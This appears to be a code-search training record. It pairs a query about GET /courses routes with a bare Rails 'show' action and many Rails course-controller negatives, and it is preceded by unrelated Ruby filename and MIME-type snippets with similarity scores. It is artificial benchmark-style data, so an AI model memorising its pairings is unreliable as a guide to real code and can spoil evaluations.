"def filename\n pn = Pathname.new(@source.filename)\n pn.basename(pn.extname).to_s.tap do |s|\n s << \"_\" << @aspect unless @aspect.nil?\n s << \".\" << mime_type.to_sym.to_s\n end\n end",
"def filename(type = nil)\n if (type.nil?)\n self.slug\n else\n \"#{self.slug}.#{type}\"\n end\n end",
"def set_formats_for_name_and_filename\n self.name = self.name.tr(' ', '_')\n self.filename = self.filename.tr(' ', '_')\n end",
"def proper_filename(file)\n file.gsub(/[^\\w]/,'_')\n end",
"def maybe_convert_extension(ext); end",
"def filename\n \"#{options.filename}.#{options.filetype}\"\n end",
"def generate_intended_filename_regex conf\n prefix = \"#{ conf['local_hostname'] }-\\\\d{4}_\\\\d{2}_\\\\d{2}\"\n case conf['type']\n when /dir/\n dir_part = conf['path'].sub(/\\//,'').gsub(/\\//,\"-\")\n return \"#{ prefix }-#{ dir_part }\\\\.tar\\\\.gz\"\n when /mys/\n db_part = conf['database']\n return \"#{ prefix }-#{ db_part }\\\\.sql\\\\.gz\"\n end\nend",
"def get_processed_filename\n # We can make this if statement a single line, but then it'd be too long.\n filename = if file_options.nil? || file_options[:name].blank?\n name + '.csv'\n else\n file_options[:name]\n end\n if filename =~ /\\Ay#/\n date = Date.today.advance(days: -1)\n return date.strftime(filename[2..-1])\n else\n date = Date.today\n return date.strftime(filename)\n end\n end",
"def mime_type\n term = format_controlled_vocabulary.all.find { |x| x.definition == info_service.driver }\n term ? term.value : primary_file.mime_type\n end",
"def create_short_filename_from_fpieces(fpieces)\n f = fpieces['filetype']\n q = fpieces['quality']\n track_key = fpieces['track_key']\n if f && track_key\n ext = helper_make_ext(q,f)\n \"#{track_key}.#{ext}\"\n else\n raise \"Cannot create short fname without cd_key and track #\"\n end\n end",
"def get_internal_extension(file_type)\n\n case file_type\n when 'word' # .docx for word type\n ext = '.docx'\n when 'cell' # .xlsx for cell type\n ext = '.xlsx'\n when 'slide' # .pptx for slide type\n ext = '.pptx'\n else\n ext = '.docx' # the default value is .docx\n end\n\n ext\n end",
"def get_raw_filename (file)\n\t\n\t\t# convert to string\n\t\tfile = get_filename(file)\n\t\t# remove extension\n\t\tfile.sub(get_ext(file), \"\")\n\t\t\n\tend",
"def filename(file_set)\n return if file_set.original_file.blank?\n fn = file_set.original_file.file_name.first\n mime = Mime::Type.lookup(file_set.original_file.mime_type)\n ext_mime = MIME::Types.of(file_set.original_file.file_name).first\n if fn.include?(file_set.id) || importerexporter.metadata_only?\n return fn if mime.to_s == ext_mime.to_s\n return \"#{fn}.#{mime.to_sym}\"\n else\n return \"#{file_set.id}_#{fn}\" if mime.to_s == ext_mime.to_s\n return \"#{file_set.id}_#{fn}.#{mime.to_sym}\"\n end\n end",
"def filename\n original_filename.try(:gsub, '+', '-')\n end",
"def thing_name\n if asset.nil? || asset.content_type.blank?\n \"file\"\n elsif asset.content_type.start_with?(\"image/\")\n \"image\"\n elsif asset.content_type == \"application/pdf\"\n \"document\"\n else\n \"file\"\n end\n end",
"def sprint_temp_file(type)\n file_name = \"#{Time.now.to_f}.#{self.class.default_ext(type)}\"\n File.join(msg_tmp_dir(),File.basename(file_name))\n end",
"def format\n (gzip?? path.basename(path.extname) : path).extname[1..-1].downcase.to_sym\n end",
"def _extract_mime_type_with_file(io)\n cmd = [\"file\", \"--mime-type\", \"--brief\"]\n\n if io.respond_to?(:path)\n mime_type, _ = Open3.capture2(*cmd, io.path)\n else\n mime_type, _ = Open3.capture2(*cmd, \"-\", stdin_data: io.read(MAGIC_NUMBER), binmode: true)\n io.rewind\n end\n\n mime_type.strip unless mime_type.empty?\n end",
"def basename_without_ext; end",
"def transform_files\n extract\n reorder_files\n transform @attendance_file, 'att' unless @attendance_file.blank?\n transform @enroll_file, 'enroll' unless @enroll_file.blank?\n transform @ili_file, 'ili' unless @ili_file.blank?\n end",
"def attachment_content_type_for(joint)\n case File.extname(joint).downcase\n when '.txt' then 'text/plain'\n when '.html' then 'plain/html'\n when '.pdf' then 'application/octet-stream' #'application/x-pdf'\n when '.jpg', '.jpeg' then 'image/jpeg'\n when '.png' then 'image/png'\n when '.gif' then 'image/gif'\n when '.doc', '.docx' then 'application/msword'\n else \n 'plain/text' # par défaut\n end\nend",
"def file_name(dir: T.unsafe(nil), name: T.unsafe(nil), ext: T.unsafe(nil), directory_separator: T.unsafe(nil)); end",
"def file_suffix\n file_name.split('.').last \n end",
"def clean_filename\n if filename.present?\n cleaned_filename = cleaned_basename = basename.gsub(/[^a-z0-9\\-_]/i, '-')\n cleaned_filename = \"#{cleaned_basename}.#{extension.downcase}\" if extension\n self.filename = cleaned_filename\n end\n end",
"def check_file_type\n if image_type? || gif_type?\n {\n thumb: '200x200>',\n medium: '500x500>'\n }\n elsif video_type?\n {\n thumb: { geometry: '200x200>' , format: 'jpg', frame_index: 2 },\n medium: { geometry: '500x500>' , format: 'jpg', frame_index: 2 }\n }\n elsif pdf_type?\n {\n thumb: ['200x200>', :png],\n medium: ['500x500>', :png]\n }\n else\n {}\n end\n end"
] |
[
"0.729894",
"0.7267986",
"0.70823866",
"0.6731864",
"0.67213476",
"0.67138404",
"0.663306",
"0.6610679",
"0.64110565",
"0.63667023",
"0.63455635",
"0.6323867",
"0.6273904",
"0.6250385",
"0.6193314",
"0.6157634",
"0.6098511",
"0.60543025",
"0.60485613",
"0.60190845",
"0.59983957",
"0.5968658",
"0.5957786",
"0.5956729",
"0.59329396",
"0.5924086",
"0.5921076",
"0.59189564",
"0.5906284",
"0.5897733",
"0.5890608",
"0.58827204",
"0.5877762",
"0.5874443",
"0.5874443",
"0.5874443",
"0.58736324",
"0.58697575",
"0.58665174",
"0.5842717",
"0.58399224",
"0.5831009",
"0.583089",
"0.583089",
"0.583089",
"0.5807402",
"0.5807306",
"0.57890713",
"0.5781732",
"0.5780347",
"0.57766557",
"0.57762",
"0.5754826",
"0.5747494",
"0.5739934",
"0.57251",
"0.5719345",
"0.571265",
"0.5703501",
"0.56961626",
"0.56905615",
"0.56895775",
"0.5686759",
"0.5686759",
"0.5686759",
"0.5686759",
"0.56862617",
"0.5679772",
"0.56775826",
"0.5671481",
"0.5671204",
"0.5670688",
"0.5660518",
"0.56587034",
"0.56552184",
"0.5651553",
"0.5645935",
"0.564444",
"0.56437063",
"0.5626764",
"0.562299",
"0.56179607",
"0.5615114",
"0.560604",
"0.5598288",
"0.5597967",
"0.5593504",
"0.5578251",
"0.5576263",
"0.55744874",
"0.5568878",
"0.5564679",
"0.55637175",
"0.5557073",
"0.5552927",
"0.5551185",
"0.5546632",
"0.5546195",
"0.554419",
"0.55382836",
"0.5531982"
] |
0.0
|
-1
|
GET /courses GET /courses.json
|
def index
@courses = current_teacher.courses.all.to_a + Course.find(current_teacher.jobs.pluck(:course_id).uniq)
@course = current_teacher.courses.new
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def index\n\t\t@courses = Course.all\n\t\trespond_to do |format|\n\t\t\tformat.html\n\t\t\tformat.json { render json: @courses }\n\t\tend\n\tend",
"def index\n @courses = Course.all\n render json: @courses, status: :ok\n end",
"def courses\n @courses = Course.where(faculty_id: params[:faculty_id]).order(:name)\n respond_to do |format|\n format.json { render json: @courses }\n end\n end",
"def index\n @courses = Course.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @courses }\n end\n end",
"def index\n @courses = Course.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @courses }\n end\n end",
"def index\n @courses = Course.all\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @courses}\n end\n end",
"def index\n\t\t@courses = @teacher.courses\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @courses }\n end\n end",
"def course\n\t\t@course = Course.find(params[:id])\n\n\t\trespond_to do |format|\n\t\t\tformat.json\n\t\tend\n\tend",
"def courses\n request(COURSES_URL, {}, 'GET').map do |course|\n Course.new(self, course)\n end\n end",
"def all_courses\n [\n {\n id: 1,\n title: 'The Complete Node.js Developer Course',\n author: 'Andrew Mead, Rob Percival',\n description: 'Learn Node.js by building real-world applications with Node, Express, MongoDB, Mocha, and more!',\n topic: 'Node.js',\n url: 'https://codingthesmartway.com/courses/nodejs/'\n },\n {\n id: 2,\n title: 'Node.js, Express & MongoDB Dev to Deployment',\n author: 'Brad Traversy',\n description: 'Learn by example building & deploying real-world Node.js applications from absolute scratch',\n topic: 'Node.js',\n url: 'https://codingthesmartway.com/courses/nodejs-express-mongodb/'\n },\n {\n id: 3,\n title: 'JavaScript: Understanding The Weird Parts',\n author: 'Anthony Alicea',\n description: 'An advanced JavaScript course for everyone! Scope, closures, prototypes, this, build your own framework, and more.',\n topic: 'JavaScript',\n url: 'https://codingthesmartway.com/courses/understand-javascript/'\n }\n ]\n end",
"def index\n authorize! :read, Course\n\n if is_student?\n @course_sections = Course.find_student_courses(current_user.id)\n else\n @course_sections = Course.find_professor_courses(current_user.id)\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @courses }\n end\n end",
"def get_courses(opts = {})\n data, _status_code, _headers = get_courses_with_http_info(opts)\n data\n end",
"def get_students\n @course = Course.find(params[:course_id])\n\n render json: @course.students\n end",
"def courses\n unless user_signed_in? && current_user.instructor\n render :nothing => true, :status => :unauthorized\n end\n \n $selected_course = nil\n\n @courses = current_user.instructor.courses.collect{ |course|\n {\n name: course.name,\n id: course.id\n }\n }\n\n render :template => \"home/index\"\n end",
"def show_course\n\t\t@course = Course.find(params[:course_id])\n\t\trender json: @course\n\tend",
"def index\n @courses = Courses.all\n end",
"def index\n @courses = Course.all.includes(:translations)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @courses }\n end\n end",
"def index\n # Check for filters\n @courses = Course.getCourseInformation(params[:dept],params[:course])\n @page_title = \"Browse Courses\"\n respond_to do |format|\n format.html\n format.json {render json: @courses }\n end\n end",
"def index\n @courses = Course.order(:name).page(params[:page])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => Course.all }\n end\n end",
"def index\n\t\t@courses = Course.all\n\tend",
"def index\n query = params[:q]\n @courses = query ? Course.search(query) : Course.all.order(:id)\n\n render json: @courses\n end",
"def index\n @courts = Court.by_name\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @courts }\n end\n end",
"def show\n render json: @course\n end",
"def index\n @assessment_courses = AssessmentCourse.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @assessment_courses }\n end\n end",
"def list_courses\n if current_user.is_admin?\n @user = User.find(params[:id])\n @courses = @user.courses\n respond_to do |format|\n format.xml { render :xml => @courses }\n end\n else\n respond_to do |format|\n format.xml { render :text => \"error\" }\n end\n end\n end",
"def index\n @courses = Course.all\n end",
"def index\n @courses = Course.all\n end",
"def index\n @courses = Course.all\n end",
"def index\n @courses = Course.all\n end",
"def index\n @courses = Course.all\n end",
"def index\n @courses = Course.all\n end",
"def index\n @courses = Course.all\n end",
"def index\n @courses = Course.all\n end",
"def index\n @courses = Course.all\n end",
"def index\n @courses = Course.all\n end",
"def index\n @courses = Course.all\n end",
"def index\n @courses = Course.all\n end",
"def index\n @courses = Course.all\n end",
"def index\n @courses = Course.all\n end",
"def index\n @courses = Course.all\n end",
"def index\n @courses = Course.all\n end",
"def index\n @courses = Course.all\n end",
"def index\n @courses = Course.all\n end",
"def index\n @courses = Course.all\n end",
"def index\n @courses = Course.all\n end",
"def index\n @courses = Course.all\n end",
"def index\n @courses = Course.all\n end",
"def index\n @courses = Course.all\n end",
"def index\n @courses = Course.all\n end",
"def index\n @courses = Course.all\n end",
"def index\r\n @courses = Course.all\r\n end",
"def get_courses\n\t\tif current_student.id.to_i == params[:id].to_i\n\t\t\t@student = Student.find(params[:id])\n\t\t\t@evaluations = @student.evaluations\n\t\tend\n\t\trender 'get_courses'\n\tend",
"def index\n course = Course.find(params[:course_id])\n sections = course.sections.all\n render json: sections.order(:id)\n end",
"def show\n render json: course\n end",
"def index\n @courses = Course.all\n\n end",
"def index\n @study_courses = StudyCourse.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @study_courses }\n end\n end",
"def index\n\t\t@course = Course.find(params[:course_id])\n\t\trespond_to do |format|\n\t\t\tformat.html\n\t\tend\n\tend",
"def course\n unless user_signed_in? && current_user.instructor\n render :nothing => true, :status => :unauthorized\n end\n \n $selected_course = Course.where({id: params[:id]}).first\n\n @course_projects = $selected_course.projects.collect{ |project|\n {\n project_name: project.name,\n team_names: project.teams.reduce(''){|names, team| names + team.name + ', '}[0..-3],\n due: project.due.in_time_zone('Eastern Time (US & Canada)').strftime('%Y-%m-%d %I:%M:%S %p')\n }\n }\n\n render :template => \"home/index\"\n end",
"def courses(institution, pageIndex=0, options={})\n options.merge!({:query => {:pageIndex => pageIndex}})\n self.class.get(\"/Institution/#{institution}/Courses.json\", options)\n end",
"def show\n @course = Course.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @course }\n end\n end",
"def index\n begin\n conditions = [\"club_id = ?\",@club.id]\n @courses = Course.find(:all, :order => 'id', :conditions => conditions)\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @courses }\n end\n rescue\n render :layout => 'error', :template => 'errors/error'\n end\n end",
"def show\n @courses = Course.all\n end",
"def get_course_of_instructor\n instructor_id = params[:instructor_id]\n\n course_ids = if instructor_id.blank?\n []\n else\n Course.where(:user_id => instructor_id).map(&:id).map(&:to_s)\n end\n\n render json: {:course_ids => course_ids}\n end",
"def show\n render json: @course, status: :found\n end",
"def show\n @course = Course.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @course }\n end\n end",
"def show\n @course = Course.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @course }\n end\n end",
"def show\n @course = Course.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @course }\n end\n end",
"def show\n @course = Course.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @course }\n end\n end",
"def show\n @course = Course.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @course }\n end\n end",
"def show\n @course = Course.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @course }\n end\n end",
"def show\n @course = Course.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @course }\n end\n end",
"def index\n @current_user = User.find_by_id(session[:user_id])\n @courses = @current_user.courses.paginate page: params[:page], order: 'created_at asc', per_page: 25\n if @current_user.courses.empty?\n redirect_to new_course_url, notice: \"You Have No Courses Yet\"\n return\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @courses }\n end\n end",
"def courses_all\n call_path = \"courses/all\"\n data = build_post_data(\"\")\n perform_post(build_url(call_path), data)\n end",
"def show\n @course = Course.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @course }\n end\n end",
"def index\n @courts = Court.all\n end",
"def index\n @enrolleds = Enrolled.all\n @courses = Course.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @enrolleds }\n end\n end",
"def index\n \n if can? :update, @course #instructor \n @courses = current_user.subjects #Course.where(:user_id => current_user.id) #courses that person teaches\n else\n @courses = current_user.courses \n end\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @courses }\n end\n end",
"def courses\n @courses = Course.where(\"teacher_id=?\",session[:user].teacher_id)\n end",
"def list_courses(courses_collection)\n courses_collection.each do |course|\n\n end\n end",
"def index\n @courts = Court.page(params[:page])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @courts }\n end\n end",
"def index\n @path_courses = PathCourse.all\n end",
"def courses_json\n raise Exceptions::EducatorNotAuthorized unless current_educator.districtwide_access\n courses = Course.all\n .where(school_id: @school.id)\n .includes(sections: :students)\n\n courses_json = courses.as_json({\n :only => [:id, :course_number, :course_description],\n :include => {\n :sections => {\n :only => [:id, :section_number, :term_local_id, :schedule, :room_number],\n :include => {\n :students => {\n :only => [:id, :grade, :date_of_birth],\n :include => {\n :school => {\n :only => [:id, :name]\n }\n }\n }\n }\n }\n }\n })\n\n render json: {\n courses: courses_json,\n school: @school.as_json(only: [:id, :name])\n }\n end",
"def show\n @course = Course.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @course }\n end\n end",
"def show\r\n @course = Course.find(params[:id])\r\n\r\n respond_to do |format|\r\n format.html # show.html.erb\r\n format.json { render json: @course }\r\n\r\n end\r\n end",
"def courses\n Content::Courses.new(token: @token)\n end",
"def courses\n @learn_courses\n end",
"def index\n @given_courses = GivenCourse.all\n end",
"def index\n if (params[:query])\n @courses = Course.full_course_search(params[:query]).listed.page(params[:page]).per_page(10)\n else \n @courses = Course.listed.paginate(:page => params[:page], :per_page => 10).order(\"created_at desc\")\n end\n @followers = Course.get_number_people_following_published_courses\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @courses }\n end\n end",
"def show\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @course }\n end\n end",
"def index\n \tif current_user && current_user.username.eql?(\"admin\")\n @courses = Course.all\n elsif current_user\n\t @lista = Profesor.joins(:course).where(:user_id => session[:user_id])\t\n\t list = Array.new\n\t @lista.each do |l|\n\t \tlist << l.course_id\n end\n\t @courses = Course.find(list)\n\tend\n\t\t\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json=> @courses }\n end\n end",
"def index\n @curriculum_courses = CurriculumCourse.all\n end",
"def index\n @user_courses = UserCourse.all\n end",
"def student_show\n @course = Course.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @course }\n end\n \n end",
"def show\n @courses = Courses.first\n end",
"def list_courses \r\n courses = Subject.find(params[:s]).courses rescue render_return\r\n render_return if courses.empty? or !logged_in_user.see_course?(courses.first)\r\n render_p 'course_display/list_courses',{'courses'=>courses,'caller'=>params[:caller]}\r\n end",
"def index\n #@courses = @curriculum.courses\n\n @courses = ScopedCourse.where(:curriculum_id => @curriculum.id)\n .joins(:course_descriptions)\n .where([\"course_descriptions.locale = ?\", I18n.locale]).includes(:strict_prereqs)\n# .joins(<<-SQL\n# INNER JOIN course_descriptions\n# ON competence_nodes.abstract_course_id = course_descriptions.abstract_course_id\n# SQL\n# )\n\n respond_to do |format|\n #format.html # index.html.erb\n format.json do\n render :json => @courses.select(<<-SQL\n competence_nodes.id,\n competence_nodes.course_code,\n course_descriptions.name AS translated_name\n SQL\n ).to_json(:methods => :strict_prereq_ids, :root => true)\n end\n end\n end",
"def index \n @courses = Course.all\n puts 'Courses-Index -mashal is super helpful'\n end",
"def show\n @court = Court.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @court }\n end\n end",
"def show\n if !params.has_key?(:section)\n redirect_to courses_path and return\n end\n\n @course = Course.find(params[:id])\n authorize! :read, @course\n @section = Section.find(params[:section])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @course }\n end\n end",
"def course(institution, course, kismode, recursive=true, options={})\n response = self.class.get(\"/Institution/#{institution}/Course/#{course}/#{kismode}.json\", options)\n if recursive\n response.merge!({:accreditations => course_accreditations(institution, course, kismode)})\n response.merge!({:stages => course_stages(institution, course, kismode)})\n response.merge!({:statistics => course_statistics(institution, course, kismode)})\n end\n response.parsed_response\n end",
"def index\n @courses = Course.all\n @titre = \"All courses\"\n @description = \"Here, you will find the list of all the Courses available in our High school :\"\n end"
] |
[
"0.7943173",
"0.78570646",
"0.7742099",
"0.7729055",
"0.7729055",
"0.76939315",
"0.76708746",
"0.76526207",
"0.752899",
"0.74440956",
"0.74415404",
"0.73988724",
"0.7373047",
"0.7365082",
"0.73555565",
"0.7347125",
"0.7311683",
"0.7271882",
"0.7270879",
"0.72251445",
"0.72230077",
"0.7210611",
"0.7208962",
"0.718815",
"0.7180561",
"0.7169304",
"0.7169304",
"0.7169304",
"0.7169304",
"0.7169304",
"0.7169304",
"0.7169304",
"0.7169304",
"0.7169304",
"0.7169304",
"0.7169304",
"0.7169304",
"0.7169304",
"0.7169304",
"0.7169304",
"0.7169304",
"0.7169304",
"0.7169304",
"0.7169304",
"0.7169304",
"0.7169304",
"0.7169304",
"0.7169304",
"0.7169304",
"0.7169304",
"0.7142384",
"0.7141049",
"0.7132171",
"0.7123155",
"0.710393",
"0.7097321",
"0.7049614",
"0.70113283",
"0.7009046",
"0.6999527",
"0.6994991",
"0.6979547",
"0.6971477",
"0.6964548",
"0.69494456",
"0.6943253",
"0.6943253",
"0.6943253",
"0.6943253",
"0.6943253",
"0.6943253",
"0.6923683",
"0.69026154",
"0.6892542",
"0.6891432",
"0.68823546",
"0.6879756",
"0.68756413",
"0.68729115",
"0.6871734",
"0.6863271",
"0.6861751",
"0.6840159",
"0.68221515",
"0.680736",
"0.6803287",
"0.679456",
"0.67933244",
"0.6782277",
"0.6777651",
"0.6772413",
"0.6771088",
"0.6734414",
"0.6700828",
"0.6693249",
"0.66928315",
"0.6688745",
"0.6687543",
"0.6658302",
"0.6633408",
"0.6625263"
] |
0.0
|
-1
|
GET /courses/1 GET /courses/1.json
|
def show
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def course\n\t\t@course = Course.find(params[:id])\n\n\t\trespond_to do |format|\n\t\t\tformat.json\n\t\tend\n\tend",
"def index\n @courses = Course.all\n render json: @courses, status: :ok\n end",
"def courses\n @courses = Course.where(faculty_id: params[:faculty_id]).order(:name)\n respond_to do |format|\n format.json { render json: @courses }\n end\n end",
"def show_course\n\t\t@course = Course.find(params[:course_id])\n\t\trender json: @course\n\tend",
"def index\n @courses = Course.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @courses }\n end\n end",
"def index\n @courses = Course.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @courses }\n end\n end",
"def index\n\t\t@courses = Course.all\n\t\trespond_to do |format|\n\t\t\tformat.html\n\t\t\tformat.json { render json: @courses }\n\t\tend\n\tend",
"def index\n @courses = Course.all\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @courses}\n end\n end",
"def index\n\t\t@courses = @teacher.courses\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @courses }\n end\n end",
"def show\n @course = Course.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @course }\n end\n end",
"def index\n @courts = Court.by_name\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @courts }\n end\n end",
"def show\n render json: @course\n end",
"def get_students\n @course = Course.find(params[:course_id])\n\n render json: @course.students\n end",
"def show\n @course = Course.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @course }\n end\n end",
"def show\n @course = Course.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @course }\n end\n end",
"def show\n @course = Course.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @course }\n end\n end",
"def show\n @course = Course.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @course }\n end\n end",
"def show\n @course = Course.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @course }\n end\n end",
"def show\n @course = Course.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @course }\n end\n end",
"def show\n @course = Course.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @course }\n end\n end",
"def show\n render json: course\n end",
"def show\n @course = Course.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @course }\n end\n end",
"def show\n render json: @course, status: :found\n end",
"def index\n @courses = Courses.all\n end",
"def index\n authorize! :read, Course\n\n if is_student?\n @course_sections = Course.find_student_courses(current_user.id)\n else\n @course_sections = Course.find_professor_courses(current_user.id)\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @courses }\n end\n end",
"def show\n @course = Course.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @course }\n end\n end",
"def show\r\n @course = Course.find(params[:id])\r\n\r\n respond_to do |format|\r\n format.html # show.html.erb\r\n format.json { render json: @course }\r\n\r\n end\r\n end",
"def index\n @courses = Course.order(:name).page(params[:page])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => Course.all }\n end\n end",
"def index\n # Check for filters\n @courses = Course.getCourseInformation(params[:dept],params[:course])\n @page_title = \"Browse Courses\"\n respond_to do |format|\n format.html\n format.json {render json: @courses }\n end\n end",
"def one args\n @courses = args[:courses]\n render\n end",
"def show\n @courses = Courses.first\n end",
"def index\n\t\t@course = Course.find(params[:course_id])\n\t\trespond_to do |format|\n\t\t\tformat.html\n\t\tend\n\tend",
"def show\n @court = Court.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @court }\n end\n end",
"def index\n @courses = Course.all.includes(:translations)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @courses }\n end\n end",
"def courses\n unless user_signed_in? && current_user.instructor\n render :nothing => true, :status => :unauthorized\n end\n \n $selected_course = nil\n\n @courses = current_user.instructor.courses.collect{ |course|\n {\n name: course.name,\n id: course.id\n }\n }\n\n render :template => \"home/index\"\n end",
"def student_show\n @course = Course.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @course }\n end\n \n end",
"def get_courses\n\t\tif current_student.id.to_i == params[:id].to_i\n\t\t\t@student = Student.find(params[:id])\n\t\t\t@evaluations = @student.evaluations\n\t\tend\n\t\trender 'get_courses'\n\tend",
"def index\n @assessment_courses = AssessmentCourse.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @assessment_courses }\n end\n end",
"def all_courses\n [\n {\n id: 1,\n title: 'The Complete Node.js Developer Course',\n author: 'Andrew Mead, Rob Percival',\n description: 'Learn Node.js by building real-world applications with Node, Express, MongoDB, Mocha, and more!',\n topic: 'Node.js',\n url: 'https://codingthesmartway.com/courses/nodejs/'\n },\n {\n id: 2,\n title: 'Node.js, Express & MongoDB Dev to Deployment',\n author: 'Brad Traversy',\n description: 'Learn by example building & deploying real-world Node.js applications from absolute scratch',\n topic: 'Node.js',\n url: 'https://codingthesmartway.com/courses/nodejs-express-mongodb/'\n },\n {\n id: 3,\n title: 'JavaScript: Understanding The Weird Parts',\n author: 'Anthony Alicea',\n description: 'An advanced JavaScript course for everyone! Scope, closures, prototypes, this, build your own framework, and more.',\n topic: 'JavaScript',\n url: 'https://codingthesmartway.com/courses/understand-javascript/'\n }\n ]\n end",
"def show\n @lab_course = LabCourse.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @lab_course }\n end\n end",
"def index\n @courses = Course.all\n end",
"def index\n @courses = Course.all\n end",
"def index\n @courses = Course.all\n end",
"def index\n @courses = Course.all\n end",
"def index\n @courses = Course.all\n end",
"def index\n @courses = Course.all\n end",
"def index\n @courses = Course.all\n end",
"def index\n @courses = Course.all\n end",
"def index\n @courses = Course.all\n end",
"def index\n @courses = Course.all\n end",
"def index\n @courses = Course.all\n end",
"def index\n @courses = Course.all\n end",
"def index\n @courses = Course.all\n end",
"def index\n @courses = Course.all\n end",
"def index\n @courses = Course.all\n end",
"def index\n @courses = Course.all\n end",
"def index\n @courses = Course.all\n end",
"def index\n @courses = Course.all\n end",
"def index\n @courses = Course.all\n end",
"def index\n @courses = Course.all\n end",
"def index\n @courses = Course.all\n end",
"def index\n @courses = Course.all\n end",
"def index\n @courses = Course.all\n end",
"def index\n @courses = Course.all\n end",
"def index\n @courses = Course.all\n end",
"def get_course_of_instructor\n instructor_id = params[:instructor_id]\n\n course_ids = if instructor_id.blank?\n []\n else\n Course.where(:user_id => instructor_id).map(&:id).map(&:to_s)\n end\n\n render json: {:course_ids => course_ids}\n end",
"def index\n @study_courses = StudyCourse.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @study_courses }\n end\n end",
"def index\n course = Course.find(params[:course_id])\n sections = course.sections.all\n render json: sections.order(:id)\n end",
"def index\n\t\t@courses = Course.all\n\tend",
"def index\n @course = Course.find params[:course_id]\n end",
"def show\n if !params.has_key?(:section)\n redirect_to courses_path and return\n end\n\n @course = Course.find(params[:id])\n authorize! :read, @course\n @section = Section.find(params[:section])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @course }\n end\n end",
"def index\r\n @courses = Course.all\r\n end",
"def index\n @courses = Course.all\n\n end",
"def course\n unless user_signed_in? && current_user.instructor\n render :nothing => true, :status => :unauthorized\n end\n \n $selected_course = Course.where({id: params[:id]}).first\n\n @course_projects = $selected_course.projects.collect{ |project|\n {\n project_name: project.name,\n team_names: project.teams.reduce(''){|names, team| names + team.name + ', '}[0..-3],\n due: project.due.in_time_zone('Eastern Time (US & Canada)').strftime('%Y-%m-%d %I:%M:%S %p')\n }\n }\n\n render :template => \"home/index\"\n end",
"def show\n @courses = Course.all\n end",
"def show\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @course }\n end\n end",
"def get_course_by_id(org_unit_id)\n path = \"/d2l/api/lp/#{$lp_ver}/courses/#{org_unit_id}\"\n _get(path)\n # returns: JSON object of the course\nend",
"def index\n # puts \"params[:course][:id] is: #{params[:course][:id]}\"\n # @course = Course.find_by_id(params[:course][:id])\n# @students = @course.students\n end",
"def index\n begin\n conditions = [\"club_id = ?\",@club.id]\n @courses = Course.find(:all, :order => 'id', :conditions => conditions)\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @courses }\n end\n rescue\n render :layout => 'error', :template => 'errors/error'\n end\n end",
